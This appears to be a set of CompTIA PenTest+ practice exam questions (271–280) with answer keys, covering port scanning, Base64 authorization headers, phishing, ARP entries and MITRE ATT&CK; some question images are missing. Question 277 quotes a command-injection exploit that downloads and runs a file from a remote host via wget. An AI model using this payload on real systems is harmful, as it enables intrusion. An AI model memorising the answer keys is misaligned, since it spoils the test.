CompTIA CompTIA PenTest+ PT0-002 Questions & Answers

• Question 271:

  A penetration tester writes the following script: Which of the following is the tester performing?

  

  A. Searching for service vulnerabilities

  B. Trying to recover a lost bind shell

  C. Building a reverse shell listening on specified ports

  D. Scanning a network for specific open ports

  Correct Answer: D

  -z zero-I/O mode [used for scanning]

  -v verbose

  example output of script:

  10.0.0.1: inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open (UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out

  https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for

• Question 272:

  A penetration tester captured the following traffic during a web-application test:

  

  Which of the following methods should the tester use to visualize the authorization information being transmitted?

  A. Decode the authorization header using UTF-8.

  B. Decrypt the authorization header using bcrypt.

  C. Decode the authorization header using Base64.

  D. Decrypt the authorization header using AES.

  Correct Answer: C

• Question 273:

  A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

  A. Credential harvesting

  B. Privilege escalation

  C. Password spraying

  D. Domain record abuse

  Correct Answer: A

• Question 274:

  A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

  IP Address: 192.168.1.63 Physical Address: 60-36-dd-a6-c5-33

  Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

  A. tcpdump -i eth01 arp and arp[6:2] == 2

  B. arp -s 192.168.1.63 60-36-DD-A6-C5-33

  C. ipconfig /all findstr /v 00-00-00 | findstr Physical

  D. route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1

  Correct Answer: B

• Question 275:

  A penetration tester created the following script to use in an engagement:

  

  However, the tester is receiving the following error when trying to run the script:

  

  Which of the following is the reason for the error?

  A. The sys variable was not defined.

  B. The argv variable was not defined.

  C. The sys module was not imported.

  D. The argv module was not imported.

  Correct Answer: A

• Question 276:

  A penetration tester ran a simple Python-based scanner. The following is a snippet of the code: Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

  

  A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.

  B. *range(1, 1025) on line 1 populated the portList list in numerical order.

  C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM

  D. The remoteSvr variable has neither been type-hinted nor initialized.

  Correct Answer: B

  Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) https://nmap.org/book/man-portspecification.html

• Question 277:

  A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

  exploit = "POST "

  exploit += "/cgi-bin/index.cgi?action=loginandPath=%27%0A/bin/sh${IFS}c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS }apache;${IFS}./apache'%0A%27andloginUser=aandPwd=a"

  exploit += "HTTP/1.1"

  Which of the following commands should the penetration tester run post-engagement?

  A. grep-v apache ~/.bash_history > ~/.bash_history

  B. rm-rf /tmp/apache

  C. chmod 600 /tmp/apache

  D. taskkill /IM "apache" /F

  Correct Answer: B

• Question 278:

  A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

  A. Ensure the client has signed the SOW.

  B. Verify the client has granted network access to the hot site.

  C. Determine if the failover environment relies on resources not owned by the client.

  D. Establish communication and escalation procedures with the client.

  Correct Answer: A

• Question 279:

  The following output is from reconnaissance on a public-facing banking website:

  

  Based on these results, which of the following attacks is MOST likely to succeed?

  A. A birthday attack on 64-bit ciphers (Sweet32)

  B. An attack that breaks RC4 encryption

  C. An attack on a session ticket extension (Ticketbleed)

  D. A Heartbleed attack

  Correct Answer: B

• Question 280:

  Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

  A. NIST SP 800-53

  B. OWASP Top 10

  C. MITRE ATTandCK framework

  D. PTES technical guidelines

  Correct Answer: C

  Reference: https://digitalguardian.com/blog/what-mitre-attck-framework